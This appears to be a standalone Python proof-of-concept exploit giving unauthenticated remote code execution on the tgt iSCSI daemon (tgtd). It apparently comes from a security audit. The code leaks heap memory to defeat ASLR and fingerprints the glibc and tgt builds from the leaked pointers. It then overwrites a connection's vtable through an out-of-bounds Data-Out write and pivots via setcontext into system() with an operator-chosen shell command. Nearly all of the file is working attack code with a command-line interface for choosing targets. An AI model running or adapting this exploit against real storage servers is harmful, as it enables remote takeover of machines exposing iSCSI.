#!/usr/bin/env python3 """ Unauthenticated RCE on fujita/tgt (tgtd), ASLR on -- STANDALONE, with self-calibrating version fingerprinting. Single file, no sibling imports. Every address comes off the socket; chain: 1. over-read leak (finding #1 transfer_len corruption, won back-to-back vs the async backing store) -> a blob of adjacent heap containing, for free: * freed unsorted-bin chunks whose fd == &main_arena (a libc pointer) * surviving conn->tp == &iscsi_tcp (an image pointer) 2. FINGERPRINT from those leaked pointers' ASLR-invariant low bits: glibc build <- (main_arena_ptr & FP_MASK) ( == arena_off & FP_MASK ) tgt build <- (&iscsi_tcp & FP_MASK) ( == img_tcp_off & FP_MASK ) The low bits are the page offset of a fixed symbol, so ASLR (which only randomizes at page/segment-alignment granularity) leaves them untouched. They identify the version WITHOUT resolving the base first -- so the libc offsets (system/setcontext/arena) are looked up from the leak itself, not assumed a priori. bases then follow: libc_base = main_arena_ptr - arena_off. 3. park a WRITE whose data buffer T holds the payload; its solicited R2T leaks TTT = low32(&W_task) (finding #6). T = heap_high | ((TTT + rce_D) & 0xffffffff). 4. fill T with a fake vtable + setcontext ucontext (RDI=&cmd, RIP=system) built from the fingerprinted image/libc. 5. finding #1 OOB Data-Out writes victim->tp = T; poke a victim -> conn->tp->ep_read == *(T+0x48) == `mov rdi,rax;call[rax]` -> setcontext -> system(cmd). Only the *bootstrap/heap-layout* constants (leak_const2, rce_tbuf, rce_D, rce_oob) stay --target-selected, because they are needed BEFORE the leak can run and are not pointer offsets. The glibc offsets and the image offsets are resolved by fingerprint, and the image fingerprint also cross-checks the build. ./poc_rce_standalone.py --list ./poc_rce_standalone.py --target arch-pkg --cmd 'id > /tmp/proof 2>&1' ./poc_rce_standalone.py --host 10.0.0.5 --port 3260 --iqn iqn.foo:bar -c 'whoami' """ import argparse import os import socket import struct import sys import time from collections import Counter # --------------------------------------------------------------------------- # Version databases, keyed by ASLR-invariant leaked-pointer low bits. # # FP_MASK selects how many low bits of a leaked pointer to fingerprint on. 12 # bits (0xFFF, the page offset) survive ASLR on *every* Linux/x86-64 box and are # always safe. Where the library's load alignment is larger (modern glibc is # often 2-4 MB aligned -> 21-22 invariant bits) you may widen this for far more # discrimination -- e.g. FP_MASK = 0x3FFFFF for 4 MB-aligned glibc. # --------------------------------------------------------------------------- FP_MASK = 0xFFF # glibc builds -- identified purely from the leaked main_arena (unsorted-bin # head) pointer. fingerprint == arena_off & FP_MASK. Append a row per glibc: # arena_off = main_arena + offsetof(malloc_state, bins) - offsetof(malloc_chunk, fd) # (i.e. the unsorted-bin head the leaked freed-chunk fd points at; # offsetof(fd) is 0x10 on LP64, offsetof(bins) is from the struct) # system = offset of libc `system` (exported in .dynsym) # setcontext = offset of libc `setcontext` (exported in .dynsym) GLIBC_DB = [ dict(name="glibc 2.44 (Arch, 4 MB-aligned)", arena_off=0x219ac8, # leaked unsorted-bin head - libc_base system=0x54740, setcontext=0x446d0), ] # tgt builds, selected by --target. leak_const2 / rce_* MUST be known before the # leak (they drive it) so they are pinned here, not fingerprinted; img_tcp_off + # g_movrdi are image-layout offsets, and (img_tcp_off & FP_MASK) is the build's # image fingerprint used to pick &iscsi_tcp out of the leak and sanity-check # --target. # # ---------------------------------------------------------------------------- # ADDING A NEW TARGET (requires a build whose heap layout is deterministic) # ---------------------------------------------------------------------------- # Static offsets, from the two binaries: # img_tcp_off = &iscsi_tcp - image_base (the iscsi_transport named # "iscsi", rdma==0, full ~20-entry ep_* vtable) # g_movrdi = offset of `mov rdi, rax ; call qword ptr [rax]` (48 89 c7 ff 10) # plus a GLIBC_DB row for the target's libc (see above). # Heap-layout constants (fixed per build; a one-time authoring measurement, # not used at exploit time), which MUST be stable run-to-run: # leak_const2 = W_leak->data - R.scmd.in_sdb.transfer_len offset # rce_D = T - &W_task (post-leak) # rce_oob = &victim->tp - T (post-leak) # rce_tbuf stays 0x4000. # If those heap constants are not stable (bimodal/varying) the build's heap is # non-deterministic and this pinned-constant strategy does not apply to it. # Finally add host/port/iqn/lun for the deployment (all overridable on the CLI). TGT_DB = { "arch-pkg": dict( desc="Arch Linux tgt 1.0.97-3 (/usr/bin/tgtd)", host="127.0.0.1", port=3261, iqn="iqn.2025-10.audit:tgt0", lun=1, leak_const2=0x4ac4, # W_leak->data -> R.scmd.in_sdb.transfer_len rce_tbuf=0x4000, # parked-WRITE data buffer T size rce_D=0x5830, # T - &W_task after the leak phase rce_oob=0x2c568, # &victim->tp - T after the leak phase img_tcp_off=0x4d100, # &iscsi_tcp - image_base g_movrdi=0x18bcb, # img: mov rdi, rax ; call qword ptr [rax] ), # Other builds need their own measured constants (the layout moves with the # compiler flags, and some glibc versions have a non-deterministic heap); # add them per the "ADDING A NEW TARGET" recipe above. } DEFAULT_TARGET = "arch-pkg" # leak grooming knobs LEAK_EDTL = 0x1e000 # 120 KB READ; its buffer is the over-read source LEAK_EXTRA = 0x10000 # how far past the buffer the corrupted transfer_len reads LEAK_NC = 24 # "top" connections (over-read pointer targets) LEAK_NCLOSE = 12 # of those, freed -> unsorted-bin main_arena pointers # setcontext ucontext_t offsets (glibc x86-64) + our chosen scratch slots. OFF_GADGET, OFF_RDI, OFF_RSP, OFF_RIP = 0x48, 0x68, 0xa0, 0xa8 OFF_FPUPTR, OFF_MXCSR = 0xe0, 0x1c0 RSP_OFF, CMD_OFF, FPU_OFF = 0x3008, 0x3800, 0x3900 # --------------------------------------------------------------------------- # Minimal iSCSI wire helpers (inlined). # --------------------------------------------------------------------------- OP_LOGIN = 0x03 OP_SCSI_CMD = 0x01 OP_NOOP_OUT = 0x00 OP_DATA_OUT = 0x05 IMMEDIATE = 0x40 def h24(n): return struct.pack(">I", n)[1:] def pdu(bhs, data=b""): assert len(bhs) == 48 return bhs + data + b"\x00" * ((-len(data)) % 4) def login_pdu(isid, keys, cid=0, cmdsn=0): data = b"".join(k.encode() + b"\x00" for k in keys) bhs = struct.pack(">BBBB B3s 6s H I HH I I 16s", OP_LOGIN | IMMEDIATE, 0x87, 0, 0, 0, h24(len(data)), isid, 0, 0xdead0001, cid, 0, cmdsn, 0, b"\x00" * 16) return pdu(bhs, data) def scsi_write_imm(itt, cdb, edtl, cmdsn, imm, lun=1): lun_f = struct.pack(">BB6s", 0, lun, b"\x00" * 6) bhs = struct.pack(">BBHB3s 8s I I I I 16s", OP_SCSI_CMD | IMMEDIATE, 0x20, 0, 0, h24(len(imm)), lun_f, itt, edtl, cmdsn, 0, cdb.ljust(16, b"\x00")) return pdu(bhs, imm) def scsi_cmd(itt, cdb, edtl, cmdsn, flags, lun=1): lun_f = struct.pack(">BB6s", 0, lun, b"\x00" * 6) bhs = struct.pack(">BBHB3s 8s I I I I 16s", OP_SCSI_CMD | IMMEDIATE, flags, 0, 0, h24(0), lun_f, itt, edtl, cmdsn, 0, cdb.ljust(16, b"\x00")) return pdu(bhs) def data_out_pdu(itt, offset, payload, final=False, ttt=0xffffffff, lun=1): lun_f = struct.pack(">BB6s", 0, lun, b"\x00" * 6) bhs = struct.pack(">BB2sB3s 8s I I I I I I I 4s", OP_DATA_OUT, 0x80 if final else 0x00, b"\x00\x00", 0, h24(len(payload)), lun_f, itt, ttt, 0, 0, 0, 0, offset, b"\x00" * 4) return pdu(bhs, payload) def noop_out(itt=0x99999999, lun=0): lun_f = struct.pack(">BB6s", 0, lun, b"\x00" * 6) return pdu(struct.pack(">BBHB3s 8s I I I I 16s", OP_NOOP_OUT | IMMEDIATE, 0x80, 0, 0, h24(0), lun_f, itt, 0xffffffff, 1, 0, b"\x00" * 16)) def recv_pdu(s): bhs = b"" while len(bhs) < 48: c = s.recv(48 - len(bhs)) if not c: raise EOFError("target closed connection") bhs += c dlen = struct.unpack(">I", b"\x00" + bhs[5:8])[0] want = dlen + ((-dlen) % 4) data = b"" while len(data) < want: c = s.recv(want - len(data)) if not c: break data += c return bhs, data[:dlen] def login_keys(iqn, tag): return [ "InitiatorName=iqn.2025-10.audit:poc-" + tag, "SessionType=Normal", "TargetName=" + iqn, "HeaderDigest=None", "DataDigest=None", "MaxRecvDataSegmentLength=262144", "MaxBurstLength=16776192", "FirstBurstLength=16776192", "InitialR2T=No", "ImmediateData=Yes", "MaxConnections=1", "MaxOutstandingR2T=1", "DataPDUInOrder=Yes", "DataSequenceInOrder=Yes", "ErrorRecoveryLevel=0", ] def do_login(cfg, isid, tag): s = socket.create_connection((cfg["host"], cfg["port"])) s.sendall(login_pdu(isid, login_keys(cfg["iqn"], tag))) bhs, data = recv_pdu(s) if bhs[36] != 0 or not (bhs[1] & 0x80): print("[-] login failed for %s (status %d/%d): %r" % (tag, bhs[36], bhs[37], data)) sys.exit(1) return s def read_cmd(itt, cmdsn, edtl, lun=1, blocks=None): blocks = blocks if blocks is not None else edtl // 512 cdb = bytes([0x28, 0, 0, 0, 0, 0, 0, (blocks >> 8) & 0xff, blocks & 0xff, 0]) return scsi_cmd(itt, cdb, edtl, cmdsn, 0xc0, lun=lun) # F=1, R=1 def drain_scsi(s, want_itt, timeout=8): s.settimeout(timeout) data = b"" while True: try: bhs, d = recv_pdu(s) except Exception: break op = bhs[0] & 0x3f itt = struct.unpack(">I", bhs[16:20])[0] if op == 0x25 and itt == want_itt: # Data-In data += d if (bhs[1] & 0x80) and (bhs[1] & 0x01): # FINAL + STATUS break elif op == 0x21 and itt == want_itt: # SCSI response break return data # --------------------------------------------------------------------------- # (1) over-read: return the adjacent-heap blob as a list of qwords. # --------------------------------------------------------------------------- def over_read(cfg, verbose=True): const2 = cfg["leak_const2"] lun = cfg["lun"] ittW, ittR, ittP = 0x6c6b0000, 0x6c720000, 0x7e500000 # A + W_leak (the OOB-write source) allocated FIRST so the 120 KB chunk we # free later is reused by R, not nibbled by A's buffers. sa = do_login(cfg, b"\x80\x00\x00\xa0\x00\x00", "L") sa.sendall(scsi_write_imm(ittW, bytes([0x2a, 0, 0, 0, 0, 0, 0, 0, 1, 0]), 512, 1, b"\x00" * 256, lun=lun)) time.sleep(0.2) # P: a parked 120 KB WRITE whose data buffer we will free for R to reuse. pc = do_login(cfg, b"\x80\x00\x00\x7e\x00\x00", "P") pc.sendall(scsi_write_imm(ittP, bytes([0x2a, 0, 0, 0, 0, 0, 0, 0, 1, 0]), LEAK_EDTL, 1, b"\x00" * 512, lun=lun)) time.sleep(0.2) # C: connections ABOVE P->data; keep some (conn->tp = image), free some # (8 KB buffers -> unsorted bin -> main_arena = libc). C = [do_login(cfg, b"\x80\x00\x00\x71" + bytes([i, 0]), "c%d" % i) for i in range(LEAK_NC)] for sv in C[:LEAK_NCLOSE]: sv.close() time.sleep(0.4) pc.close() # free P->data (120 KB) -> unsorted/large bin time.sleep(0.4) # R reuses P's freed 120 KB chunk (BELOW the surviving C structs). Send the # transfer_len corruption immediately after -> wins the async race. sa.sendall(read_cmd(ittR, 2, LEAK_EDTL, lun=lun)) sa.sendall(data_out_pdu(ittW, const2, struct.pack("> 32) for q in qs if 0x1000 <= q < 0x800000000000) heap_high = (hi.most_common(1)[0][0] << 32) if hi else 0 # --- libc: the most-repeated non-heap high-half (0x7f..) pointer whose low # bits match a known glibc fingerprint. That both picks main_arena out of # the blob AND identifies the build; a false pointer simply won't match. --- libc_cands = Counter(q for q in qs if q >= 0x7000_0000_0000 and (q >> 32) != (heap_high >> 32)) arena_ptr = gprof = None for q, _cnt in libc_cands.most_common(): m = next((e for e in GLIBC_DB if (e["arena_off"] & FP_MASK) == (q & FP_MASK)), None) if m: arena_ptr, gprof = q, m break if arena_ptr is None: top = libc_cands.most_common(1) if verbose: print("[fp] libc: no GLIBC_DB match." + (" top candidate 0x%x fingerprint 0x%x -- add a row with " "arena_off & 0x%x == 0x%x" % (top[0][0], top[0][0] & FP_MASK, FP_MASK, top[0][0] & FP_MASK) if top else " (no libc pointer in window)")) return None, None, heap_high, None libc_base = arena_ptr - gprof["arena_off"] # --- image: the most-repeated pointer sharing the heap's top-16 whose low # bits match the selected build's &iscsi_tcp (tgt image fingerprint). --- img_fp = cfg["img_tcp_off"] & FP_MASK img_cands = Counter(q for q in qs if (q >> 32) == (heap_high >> 32) and (q & FP_MASK) == img_fp) iscsi_tcp = img_cands.most_common(1)[0][0] if img_cands else None if iscsi_tcp is None: if verbose: print("[fp] image: no &iscsi_tcp with fingerprint 0x%x (wrong --target build?)" % img_fp) return None, libc_base, heap_high, gprof image_base = iscsi_tcp - cfg["img_tcp_off"] if verbose: print("[fp] glibc: main_arena=0x%x (& 0x%x = 0x%x) -> %r libc_base=0x%x" % (arena_ptr, FP_MASK, arena_ptr & FP_MASK, gprof["name"], libc_base)) print("[fp] tgt : &iscsi_tcp=0x%x (& 0x%x = 0x%x) -> %r image_base=0x%x" % (iscsi_tcp, FP_MASK, iscsi_tcp & FP_MASK, cfg["_name"], image_base)) print("[fp] heap_high=0x%x" % heap_high) return image_base, libc_base, heap_high, gprof def leak(cfg, verbose=True): """Single-shot over-read + fingerprint. (Retrying is avoided on purpose: a retry would open another round of connections and shift the heap state that rce_D / rce_oob were pinned against, and would also grow memory.) Returns (image_base, libc_base, heap_high, gprof).""" qs = over_read(cfg, verbose) return fingerprint_and_resolve(cfg, qs, verbose) # --------------------------------------------------------------------------- # (3-4) fake vtable + setcontext ucontext, laid out inside T. # --------------------------------------------------------------------------- def build_ucontext(T, img, libc, cmd, tbuf, g_movrdi, setcontext, system): b = bytearray(tbuf) def q(off, v): struct.pack_into(" tbuf: print("[-] command too long"); return False try: os.unlink(sentinel) except OSError: pass # (1-2) wire over-read + version fingerprint -> bases + glibc offsets. img, libc, heap_high, gprof = leak(cfg, verbose=verbose) if not (img and libc and heap_high and gprof): print("[-] leak/fingerprint failed (img=%s libc=%s heap_high=0x%x gprof=%s)" % (img, libc, heap_high, gprof and gprof["name"])); return False # (3) park W via R2T -> low32(&W_task) -> full T. itt_w = 0x77770000 sa = do_login(cfg, b"\x80\x00\x00\x77\x00\x00", "A") sa.sendall(scsi_cmd(itt_w, bytes([0x2a, 0, 0, 0, 0, 0, 0, 0, 0x20, 0]), tbuf, 1, 0xa0, lun=lun)) # WRITE(10) W=1,F=1,no immediate bhs, _ = recv_pdu(sa) if (bhs[0] & 0x3f) != 0x31: print("[-] expected R2T, got 0x%02x" % (bhs[0] & 0x3f)); return False ttt_raw = bhs[20:24] ttt = struct.unpack(" low32(&W_task)=0x%08x ; T=0x%x (heap_high|((ttt+0x%x)))" % (ttt_raw.hex(), ttt, T, D)) # (4) victims (opened after T so a tcp_conn lands above T). victims = [do_login(cfg, b"\x80\x00\x00" + bytes([0x40 + i, 0, 0]), "v%d" % i) for i in range(12)] # fill T in-bounds with the fake vtable + ucontext (fingerprinted offsets). uc = build_ucontext(T, img, libc, cmd, tbuf, cfg["g_movrdi"], gprof["setcontext"], gprof["system"]) ttt_be = struct.unpack(">I", ttt_raw)[0] CH = 0x1000 for base in range(0, tbuf, CH): chunk = uc[base:base + CH] if chunk: sa.sendall(data_out_pdu(itt_w, base, chunk, final=False, ttt=ttt_be, lun=lun)) time.sleep(0.3) print("[+] filled T (ep_read=img+0x%x setcontext=libc+0x%x system=libc+0x%x); cmd=%r" % (cfg["g_movrdi"], gprof["setcontext"], gprof["system"], user_cmd)) # (5) finding #1 OOB write: victim->tp = T (full 8 bytes). sa.sendall(data_out_pdu(itt_w, oob, struct.pack("tp = 0x%x (Buffer Offset 0x%x); triggering" % (T, oob)) # (6) trigger + verify via the target-side sentinel file. for i, sv in enumerate(victims): try: sv.sendall(noop_out(itt=0x99990000 + i)) except OSError: pass ok = False for _ in range(60): if os.path.exists(sentinel): ok = True break time.sleep(0.05) try: sa.close() except OSError: pass if ok: print("[+] RCE CONFIRMED -- system(%r) executed on the target" % user_cmd) try: os.unlink(sentinel) except OSError: pass return True print("[-] sentinel not created") return False def main(): ap = argparse.ArgumentParser( description="self-fingerprinting, single-file tgt RCE") ap.add_argument("--target", default=DEFAULT_TARGET, help="tgt build profile (bootstrap/layout constants); default: %s" % DEFAULT_TARGET) ap.add_argument("--list", action="store_true", help="list known targets/glibc") ap.add_argument("--host", default=None) ap.add_argument("--port", type=int, default=None) ap.add_argument("--iqn", default=None) ap.add_argument("--lun", type=int, default=None) ap.add_argument("-c", "--cmd", default="id > /tmp/PWNED_BY_TGT_RCE 2>&1", help="shell command to run via system() on the target") a = ap.parse_args() if a.list: print("tgt builds (--target):") for name, c in TGT_DB.items(): print(" %-10s %s (%s:%d %s) img_fp=0x%x" % (name, c["desc"], c["host"], c["port"], c["iqn"], c["img_tcp_off"] & FP_MASK)) print("glibc builds (auto-fingerprinted, FP_MASK=0x%x):" % FP_MASK) for g in GLIBC_DB: print(" fp=0x%-4x %s" % (g["arena_off"] & FP_MASK, g["name"])) return if a.target not in TGT_DB: print("[-] unknown target %r (try --list)" % a.target); sys.exit(2) cfg = dict(TGT_DB[a.target]) cfg["_name"] = a.target for k, v in (("host", a.host), ("port", a.port), ("iqn", a.iqn), ("lun", a.lun)): if v is not None: cfg[k] = v sys.exit(0 if rce(cfg, a.cmd) else 1) if __name__ == "__main__": main()